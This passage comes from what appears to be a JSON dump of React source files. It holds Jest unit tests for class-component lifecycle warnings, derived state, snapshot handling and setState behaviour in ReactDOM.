AllLegacyLifecycles',\n    ]);\n\n    class WillMount extends React.Component {\n      state = {};\n      getSnapshotBeforeUpdate() {}\n      UNSAFE_componentWillMount() {}\n      componentDidUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    await act(() => {\n      root.render(<WillMount />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'WillMount uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\\n' +\n        '  UNSAFE_componentWillMount\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in WillMount (at **)',\n    ]);\n\n    class WillMountAndUpdate extends React.Component {\n      state = {};\n      getSnapshotBeforeUpdate() {}\n      componentWillMount() {}\n      UNSAFE_componentWillUpdate() {}\n      componentDidUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    await act(() => {\n      root.render(<WillMountAndUpdate />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'WillMountAndUpdate uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  UNSAFE_componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in WillMountAndUpdate (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: WillMountAndUpdate',\n    ]);\n\n    class WillReceiveProps extends React.Component {\n      state = {};\n      getSnapshotBeforeUpdate() {}\n      componentWillReceiveProps() {}\n      componentDidUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    await act(() => {\n      root.render(<WillReceiveProps />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'WillReceiveProps uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillReceiveProps\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in WillReceiveProps (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your code to use \" +\n        'memoization techniques or move it to static getDerivedStateFromProps. ' +\n        'Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: WillReceiveProps',\n    ]);\n  });\n\n  it('should warn if getDerivedStateFromProps returns undefined', async () => {\n    class MyComponent extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {}\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<MyComponent />);\n    });\n    assertConsoleErrorDev([\n      'MyComponent.getDerivedStateFromProps(): A valid state object (or null) must ' +\n        'be returned. You have returned undefined.\\n' +\n        '    in MyComponent (at **)',\n    ]);\n\n    // De-duped\n    await act(() => {\n      root.render(<MyComponent />);\n    });\n  });\n\n  it('should warn if state is not initialized before getDerivedStateFromProps', async () => {\n    class MyComponent extends React.Component {\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<MyComponent />);\n    });\n    assertConsoleErrorDev([\n      '`MyComponent` uses `getDerivedStateFromProps` but its initial state is ' +\n        'undefined. This is not recommended. Instead, define the initial state by ' +\n        'assigning an object to `this.state` in the constructor of `MyComponent`. ' +\n        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\\n' +\n        '    in MyComponent (at **)',\n    ]);\n\n    // De-duped\n    await act(() => {\n      root.render(<MyComponent />);\n    });\n  });\n\n  it('should invoke both deprecated and new lifecycles if both are present', async () => {\n    const log = [];\n\n    class MyComponent extends React.Component {\n      componentWillMount() {\n        log.push('componentWillMount');\n      }\n      componentWillReceiveProps() {\n        log.push('componentWillReceiveProps');\n      }\n      componentWillUpdate() {\n        log.push('componentWillUpdate');\n      }\n      UNSAFE_componentWillMount() {\n        log.push('UNSAFE_componentWillMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('UNSAFE_componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('UNSAFE_componentWillUpdate');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<MyComponent foo=\"bar\" />);\n    });\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: MyComponent',\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your code to use \" +\n        'memoization techniques or move it to static getDerivedStateFromProps. ' +\n        'Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: MyComponent',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: MyComponent',\n    ]);\n    expect(log).toEqual(['componentWillMount', 'UNSAFE_componentWillMount']);\n\n    log.length = 0;\n\n    await act(() => {\n      root.render(<MyComponent foo=\"baz\" />);\n    });\n    expect(log).toEqual([\n      'componentWillReceiveProps',\n      'UNSAFE_componentWillReceiveProps',\n      'componentWillUpdate',\n      'UNSAFE_componentWillUpdate',\n    ]);\n  });\n\n  it('should not override state with stale values if prevState is spread within getDerivedStateFromProps', async () => {\n    const divRef = React.createRef();\n    let childInstance;\n\n    class Child extends React.Component {\n      state = {local: 0};\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {...prevState, remote: nextProps.remote};\n      }\n      updateState = () => {\n        this.setState(state => ({local: state.local + 1}));\n        this.props.onChange(this.state.remote + 1);\n      };\n      render() {\n        childInstance = this;\n        return (\n          <div\n            onClick={this.updateState}\n            ref={\n              divRef\n            }>{`remote:${this.state.remote}, local:${this.state.local}`}</div>\n        );\n      }\n    }\n\n    class Parent extends React.Component {\n      state = {value: 0};\n      handleChange = value => {\n        this.setState({value});\n      };\n      render() {\n        return <Child remote={this.state.value} onChange={this.handleChange} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<Parent />);\n    });\n    expect(divRef.current.textContent).toBe('remote:0, local:0');\n\n    // Trigger setState() calls\n    await act(() => {\n      childInstance.updateState();\n    });\n    expect(divRef.current.textContent).toBe('remote:1, local:1');\n\n    // Trigger batched setState() calls\n    await act(() => {\n      divRef.current.click();\n    });\n    expect(divRef.current.textContent).toBe('remote:2, local:2');\n    document.body.removeChild(container);\n  });\n\n  it('should pass the return value from getSnapshotBeforeUpdate to componentDidUpdate', async () => {\n    const log = [];\n\n    class MyComponent extends React.Component {\n      state = {\n        value: 0,\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          value: prevState.value + 1,\n        };\n      }\n      getSnapshotBeforeUpdate(prevProps, prevState) {\n        log.push(\n          `getSnapshotBeforeUpdate() prevProps:${prevProps.value} prevState:${prevState.value}`,\n        );\n        return 'abc';\n      }\n      componentDidUpdate(prevProps, prevState, snapshot) {\n        log.push(\n          `componentDidUpdate() prevProps:${prevProps.value} prevState:${prevState.value} snapshot:${snapshot}`,\n        );\n      }\n      render() {\n        log.push('render');\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(\n        <div>\n          <MyComponent value=\"foo\" />\n        </div>,\n      );\n    });\n    expect(log).toEqual(['render']);\n    log.length = 0;\n\n    await act(() => {\n      root.render(\n        <div>\n          <MyComponent value=\"bar\" />\n        </div>,\n      );\n    });\n    expect(log).toEqual([\n      'render',\n      'getSnapshotBeforeUpdate() prevProps:foo prevState:1',\n      'componentDidUpdate() prevProps:foo prevState:1 snapshot:abc',\n    ]);\n    log.length = 0;\n\n    await act(() => {\n      root.render(\n        <div>\n          <MyComponent value=\"baz\" />\n        </div>,\n      );\n    });\n    expect(log).toEqual([\n      'render',\n      'getSnapshotBeforeUpdate() prevProps:bar prevState:2',\n      'componentDidUpdate() prevProps:bar prevState:2 snapshot:abc',\n    ]);\n    log.length = 0;\n\n    await act(() => {\n      root.render(<div />);\n    });\n    expect(log).toEqual([]);\n  });\n\n  it('should pass previous state to shouldComponentUpdate even with getDerivedStateFromProps', async () => {\n    const divRef = React.createRef();\n    class SimpleComponent extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {\n          value: props.value,\n        };\n      }\n\n      static getDerivedStateFromProps(nextProps, prevState) {\n        if (nextProps.value === prevState.value) {\n          return null;\n        }\n        return {value: nextProps.value};\n      }\n\n      shouldComponentUpdate(nextProps, nextState) {\n        return nextState.value !== this.state.value;\n      }\n\n      render() {\n        return <div ref={divRef}>value: {this.state.value}</div>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<SimpleComponent value=\"initial\" />);\n    });\n    expect(divRef.current.textContent).toBe('value: initial');\n    await act(() => {\n      root.render(<SimpleComponent value=\"updated\" />);\n    });\n    expect(divRef.current.textContent).toBe('value: updated');\n  });\n\n  it('should call getSnapshotBeforeUpdate before mutations are committed', async () => {\n    const log = [];\n\n    class MyComponent extends React.Component {\n      divRef = React.createRef();\n      getSnapshotBeforeUpdate(prevProps, prevState) {\n        log.push('getSnapshotBeforeUpdate');\n        expect(this.divRef.current.textContent).toBe(\n          `value:${prevProps.value}`,\n        );\n        return 'foobar';\n      }\n      componentDidUpdate(prevProps, prevState, snapshot) {\n        log.push('componentDidUpdate');\n        expect(this.divRef.current.textContent).toBe(\n          `value:${this.props.value}`,\n        );\n        expect(snapshot).toBe('foobar');\n      }\n      render() {\n        log.push('render');\n        return <div ref={this.divRef}>{`value:${this.props.value}`}</div>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<MyComponent value=\"foo\" />);\n    });\n    expect(log).toEqual(['render']);\n    log.length = 0;\n\n    await act(() => {\n      root.render(<MyComponent value=\"bar\" />);\n    });\n    expect(log).toEqual([\n      'render',\n      'getSnapshotBeforeUpdate',\n      'componentDidUpdate',\n    ]);\n    log.length = 0;\n  });\n\n  it('should warn if getSnapshotBeforeUpdate returns undefined', async () => {\n    class MyComponent extends React.Component {\n      getSnapshotBeforeUpdate() {}\n      componentDidUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<MyComponent value=\"foo\" />);\n    });\n\n    await act(() => {\n      root.render(<MyComponent value=\"bar\" />);\n    });\n    assertConsoleErrorDev([\n      'MyComponent.getSnapshotBeforeUpdate(): A snapshot value (or null) must ' +\n        'be returned. You have returned undefined.\\n' +\n        '    in MyComponent (at **)',\n    ]);\n\n    // De-duped\n    await act(() => {\n      root.render(<MyComponent value=\"baz\" />);\n    });\n  });\n\n  it('should warn if getSnapshotBeforeUpdate is defined with no componentDidUpdate', async () => {\n    class MyComponent extends React.Component {\n      getSnapshotBeforeUpdate() {\n        return null;\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<MyComponent />);\n    });\n    assertConsoleErrorDev([\n      'MyComponent: getSnapshotBeforeUpdate() should be used with componentDidUpdate(). ' +\n        'This component defines getSnapshotBeforeUpdate() only.\\n' +\n        '    in MyComponent (at **)',\n    ]);\n\n    // De-duped\n    await act(() => {\n      root.render(<MyComponent />);\n    });\n  });\n\n  it('warns about deprecated unsafe lifecycles', async () => {\n    class MyComponent extends React.Component {\n      componentWillMount() {}\n      componentWillReceiveProps() {}\n      componentWillUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    await act(() => {\n      root.render(<MyComponent x={1} />);\n    });\n    assertConsoleWarnDev([\n      `componentWillMount has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move code with side effects to componentDidMount, and set initial state in the constructor.\n* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \\`npx react-codemod rename-unsafe-lifecycles\\` in your project source folder.\n\nPlease update the following components: MyComponent`,\n      `componentWillReceiveProps has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \\`npx react-codemod rename-unsafe-lifecycles\\` in your project source folder.\n\nPlease update the following components: MyComponent`,\n      `componentWillUpdate has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \\`npx react-codemod rename-unsafe-lifecycles\\` in your project source folder.\n\nPlease update the following components: MyComponent`,\n    ]);\n\n    // Dedupe check (update and instantiate new)\n    await act(() => {\n      root.render(<MyComponent x={2} />);\n    });\n    await act(() => {\n      root.render(<MyComponent key=\"new\" x={1} />);\n    });\n  });\n\n  describe('react-lifecycles-compat', () => {\n    const {polyfill} = require('react-lifecycles-compat');\n\n    it('should not warn for components with polyfilled getDerivedStateFromProps', async () => {\n      class PolyfilledComponent extends React.Component {\n        state = {};\n        static getDerivedStateFromProps() {\n          return null;\n        }\n        render() {\n          return null;\n        }\n      }\n\n      polyfill(PolyfilledComponent);\n\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <PolyfilledComponent />\n          </React.StrictMode>,\n        );\n      });\n    });\n\n    it('should not warn for components with polyfilled getSnapshotBeforeUpdate', async () => {\n      class PolyfilledComponent extends React.Component {\n        getSnapshotBeforeUpdate() {\n          return null;\n        }\n        componentDidUpdate() {}\n        render() {\n          return null;\n        }\n      }\n\n      polyfill(PolyfilledComponent);\n\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <PolyfilledComponent />\n          </React.StrictMode>,\n        );\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactCompositeComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet ChildUpdates;\nlet MorphingComponent;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactSharedInternals;\nlet Scheduler;\nlet assertLog;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactCompositeComponent', () => {\n  const hasOwnProperty = Object.prototype.hasOwnProperty;\n\n  /**\n   * Performs equality by iterating through keys on an object and returning false\n   * when any key has values which are not strictly equal between the arguments.\n   * Returns true when the values of all keys are strictly equal.\n   */\n  function shallowEqual(objA: mixed, objB: mixed): boolean {\n    if (Object.is(objA, objB)) {\n      return true;\n    }\n    if (\n      typeof objA !== 'object' ||\n      objA === null ||\n      typeof objB !== 'object' ||\n      objB === null\n    ) {\n      return false;\n    }\n    const keysA = Object.keys(objA);\n    const keysB = Object.keys(objB);\n    if (keysA.length !== keysB.length) {\n      return false;\n    }\n    for (let i = 0; i < keysA.length; i++) {\n      if (\n        !hasOwnProperty.call(objB, keysA[i]) ||\n        !Object.is(objA[keysA[i]], objB[keysA[i]])\n      ) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  function shallowCompare(instance, nextProps, nextState) {\n    return (\n      !shallowEqual(instance.props, nextProps) ||\n      !shallowEqual(instance.state, nextState)\n    );\n  }\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactSharedInternals =\n      require('react').__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n    Scheduler = require('scheduler');\n    assertLog = require('internal-test-utils').assertLog;\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  describe('MorphingComponent', () => {\n    let instance;\n    let childInstance;\n\n    beforeEach(() => {\n      MorphingComponent = class extends React.Component {\n        state = {activated: false};\n        xRef = React.createRef();\n\n        componentDidMount() {\n          instance = this;\n        }\n\n        _toggleActivatedState = () => {\n          this.setState({activated: !this.state.activated});\n        };\n\n        render() {\n          const toggleActivatedState = this._toggleActivatedState;\n          return !this.state.activated ? (\n            <a ref={this.xRef} onClick={toggleActivatedState} />\n          ) : (\n            <b ref={this.xRef} onClick={toggleActivatedState} />\n          );\n        }\n      };\n\n      /**\n       * We'll use this to ensure that an old version is not cached when it is\n       * reallocated again.\n       */\n      ChildUpdates = class extends React.Component {\n        anchorRef = React.createRef();\n\n        componentDidMount() {\n          childInstance = this;\n        }\n\n        getAnchor = () => {\n          return this.anchorRef.current;\n        };\n\n        render() {\n          const className = this.props.anchorClassOn ? 'anchorClass' : '';\n          return this.props.renderAnchor ? (\n            <a ref={this.anchorRef} className={className} />\n          ) : (\n            <b />\n          );\n        }\n      };\n    });\n    it('should support rendering to different child types over time', async () => {\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => {\n        root.render(<MorphingComponent />);\n      });\n      expect(instance.xRef.current.tagName).toBe('A');\n\n      await act(() => {\n        instance._toggleActivatedState();\n      });\n      expect(instance.xRef.current.tagName).toBe('B');\n\n      await act(() => {\n        instance._toggleActivatedState();\n      });\n      expect(instance.xRef.current.tagName).toBe('A');\n    });\n\n    it('should react to state changes from callbacks', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      try {\n        await act(() => {\n          root.render(<MorphingComponent />);\n        });\n        expect(instance.xRef.current.tagName).toBe('A');\n        await act(() => {\n          instance.xRef.current.click();\n        });\n        expect(instance.xRef.current.tagName).toBe('B');\n      } finally {\n        document.body.removeChild(container);\n        root.unmount();\n      }\n    });\n\n    it('should rewire refs when rendering to different child types', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<MorphingComponent />);\n      });\n      expect(instance.xRef.current.tagName).toBe('A');\n\n      await act(() => {\n        instance._toggleActivatedState();\n      });\n      expect(instance.xRef.current.tagName).toBe('B');\n\n      await act(() => {\n        instance._toggleActivatedState();\n      });\n      expect(instance.xRef.current.tagName).toBe('A');\n    });\n\n    it('should not cache old DOM nodes when switching constructors', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<ChildUpdates renderAnchor={true} anchorClassOn={false} />);\n      });\n      await act(() => {\n        root.render(\n          // Warm any cache\n          <ChildUpdates renderAnchor={true} anchorClassOn={true} />,\n        );\n      });\n      await act(() => {\n        root.render(\n          // Clear out the anchor\n          <ChildUpdates renderAnchor={false} anchorClassOn={true} />,\n        );\n      });\n      await act(() => {\n        root.render(\n          // rerender\n          <ChildUpdates renderAnchor={true} anchorClassOn={false} />,\n        );\n      });\n      expect(childInstance.getAnchor().className).toBe('');\n    });\n  });\n\n  it('should not support module pattern components', async () => {\n    function Child({test}) {\n      return {\n        render() {\n          return <div>{test}</div>;\n        },\n      };\n    }\n\n    const el = document.createElement('div');\n    const root = ReactDOMClient.createRoot(el);\n    await expect(async () => {\n      await act(() => {\n        root.render(<Child test=\"test\" />);\n      });\n    }).rejects.toThrow(\n      'Objects are not valid as a React child (found: object with keys {render}).',\n    );\n\n    expect(el.textContent).toBe('');\n  });\n\n  it('should use default values for undefined props', async () => {\n    class Component extends React.Component {\n      static defaultProps = {prop: 'testKey'};\n\n      render() {\n        return <span />;\n      }\n    }\n\n    function refFn1(ref) {\n      instance1 = ref;\n    }\n\n    function refFn2(ref) {\n      instance2 = ref;\n    }\n\n    function refFn3(ref) {\n      instance3 = ref;\n    }\n\n    let instance1;\n    let instance2;\n    let instance3;\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component ref={refFn1} />);\n    });\n    expect(instance1.props).toEqual({prop: 'testKey'});\n\n    await act(() => {\n      root.render(<Component ref={refFn2} prop={undefined} />);\n    });\n    expect(instance2.props).toEqual({prop: 'testKey'});\n\n    await act(() => {\n      root.render(<Component ref={refFn3} prop={null} />);\n    });\n    expect(instance3.props).toEqual({prop: null});\n  });\n\n  it('should not mutate passed-in props object', async () => {\n    class Component extends React.Component {\n      static defaultProps = {prop: 'testKey'};\n\n      render() {\n        return <span />;\n      }\n    }\n\n    const inputProps = {};\n    let instance1;\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component {...inputProps} ref={ref => (instance1 = ref)} />);\n    });\n    expect(instance1.props.prop).toBe('testKey');\n\n    // We don't mutate the input, just in case the caller wants to do something\n    // with it after using it to instantiate a component\n    expect(inputProps.prop).not.toBeDefined();\n  });\n\n  it('should warn about `forceUpdate` on not-yet-mounted components', async () => {\n    class MyComponent extends React.Component {\n      constructor(props) {\n        super(props);\n        this.forceUpdate();\n      }\n      render() {\n        return <div>foo</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    ReactDOM.flushSync(() => {\n      root.render(<MyComponent />);\n    });\n    assertConsoleErrorDev([\n      \"Can't call forceUpdate on a component that is not yet mounted. \" +\n        'This is a no-op, but it might indicate a bug in your application. ' +\n        'Instead, assign to `this.state` directly or define a `state = {};` ' +\n        'class property with the desired state in the MyComponent component.\\n' +\n        '    in MyComponent (at **)',\n    ]);\n\n    // No additional warning should be recorded\n    const container2 = document.createElement('div');\n    const root2 = ReactDOMClient.createRoot(container2);\n    await act(() => {\n      root2.render(<MyComponent />);\n    });\n    expect(container2.firstChild.textContent).toBe('foo');\n  });\n\n  it('should warn about `setState` on not-yet-mounted components', async () => {\n    class MyComponent extends React.Component {\n      constructor(props) {\n        super(props);\n        this.setState();\n      }\n      render() {\n        return <div>foo</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    ReactDOM.flushSync(() => {\n      root.render(<MyComponent />);\n    });\n    assertConsoleErrorDev([\n      \"Can't call setState on a component that is not yet mounted. \" +\n        'This is a no-op, but it might indicate a bug in your application. ' +\n        'Instead, assign to `this.state` directly or define a `state = {};` ' +\n        'class property with the desired state in the MyComponent component.\\n' +\n        '    in MyComponent (at **)',\n    ]);\n\n    // No additional warning should be recorded\n    const container2 = document.createElement('div');\n    const root2 = ReactDOMClient.createRoot(container2);\n    await act(() => {\n      root2.render(<MyComponent />);\n    });\n    expect(container2.firstChild.textContent).toBe('foo');\n  });\n\n  it('should not warn about `forceUpdate` on unmounted components', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    let instance;\n    class Component extends React.Component {\n      componentDidMount() {\n        instance = this;\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const component = <Component />;\n    expect(component.forceUpdate).not.toBeDefined();\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(component);\n    });\n\n    instance.forceUpdate();\n\n    root.unmount(container);\n\n    instance.forceUpdate();\n    instance.forceUpdate();\n  });\n\n  it('should not warn about `setState` on unmounted components', async () => {\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    class Component extends React.Component {\n      state = {value: 0};\n\n      render() {\n        Scheduler.log('render ' + this.state.value);\n        return <div />;\n      }\n    }\n\n    let ref;\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <span>\n            <Component ref={c => (ref = c || ref)} />\n          </span>\n        </div>,\n      );\n    });\n\n    assertLog(['render 0']);\n\n    await act(() => {\n      ref.setState({value: 1});\n    });\n    assertLog(['render 1']);\n\n    await act(() => {\n      root.render(<div />);\n    });\n\n    await act(() => {\n      ref.setState({value: 2});\n    });\n    // setState on an unmounted component is a noop.\n    assertLog([]);\n  });\n\n  it('should silently allow `setState`, not call cb on unmounting components', async () => {\n    let cbCalled = false;\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    class Component extends React.Component {\n      state = {value: 0};\n\n      componentWillUnmount() {\n        expect(() => {\n          this.setState({value: 2}, function () {\n            cbCalled = true;\n          });\n        }).not.toThrow();\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n    let instance;\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component ref={c => (instance = c)} />);\n    });\n    await act(() => {\n      instance.setState({value: 1});\n    });\n    instance.setState({value: 1});\n\n    root.unmount();\n    expect(cbCalled).toBe(false);\n  });\n\n  it('should warn when rendering a class with a render method that does not extend React.Component', async () => {\n    const container = document.createElement('div');\n    class ClassWithRenderNotExtended {\n      render() {\n        return <div />;\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(() => {\n        root.render(<ClassWithRenderNotExtended />);\n      });\n    }).rejects.toThrow(TypeError);\n    assertConsoleErrorDev([\n      'The <ClassWithRenderNotExtended /> component appears to have a render method, ' +\n        \"but doesn't extend React.Component. This is likely to cause errors. \" +\n        'Change ClassWithRenderNotExtended to extend React.Component instead.\\n' +\n        '    in ClassWithRenderNotExtended (at **)',\n    ]);\n\n    // Test deduplication\n    await expect(async () => {\n      await act(() => {\n        root.render(<ClassWithRenderNotExtended />);\n      });\n    }).rejects.toThrow(TypeError);\n  });\n\n  it('should warn about `setState` in render', async () => {\n    const container = document.createElement('div');\n\n    class Component extends React.Component {\n      state = {value: 0};\n\n      render() {\n        Scheduler.log('render ' + this.state.value);\n        if (this.state.value === 0) {\n          this.setState({value: 1});\n        }\n        return <div>foo {this.state.value}</div>;\n      }\n    }\n\n    let instance;\n    const root = ReactDOMClient.createRoot(container);\n    ReactDOM.flushSync(() => {\n      root.render(<Component ref={ref => (instance = ref)} />);\n    });\n    assertConsoleErrorDev([\n      'Cannot update during an existing state transition (such as within ' +\n        '`render`). Render methods should be a pure function of props and state.\\n' +\n        '    in Component (at **)',\n    ]);\n\n    // The setState call is queued and then executed as a second pass. This\n    // behavior is undefined though so we're free to change it to suit the\n    // implementation details.\n    assertLog(['render 0', 'render 1']);\n    expect(instance.state.value).toBe(1);\n\n    // Forcing a rerender anywhere will cause the update to happen.\n    await act(() => {\n      root.render(<Component prop={123} />);\n    });\n    assertLog(['render 1']);\n  });\n\n  it('should cleanup even if render() fatals', async () => {\n    const ownerEnabled = __DEV__;\n\n    let stashedDispatcher;\n    class BadComponent extends React.Component {\n      render() {\n        // Stash the dispatcher that was available in render so we can check\n        // that its internals also reset.\n        stashedDispatcher = ReactSharedInternals.A;\n        throw new Error();\n      }\n    }\n\n    const instance = <BadComponent />;\n    expect(ReactSharedInternals.A).toBe(null);\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await expect(async () => {\n      await act(() => {\n        root.render(instance);\n      });\n    }).rejects.toThrow();\n\n    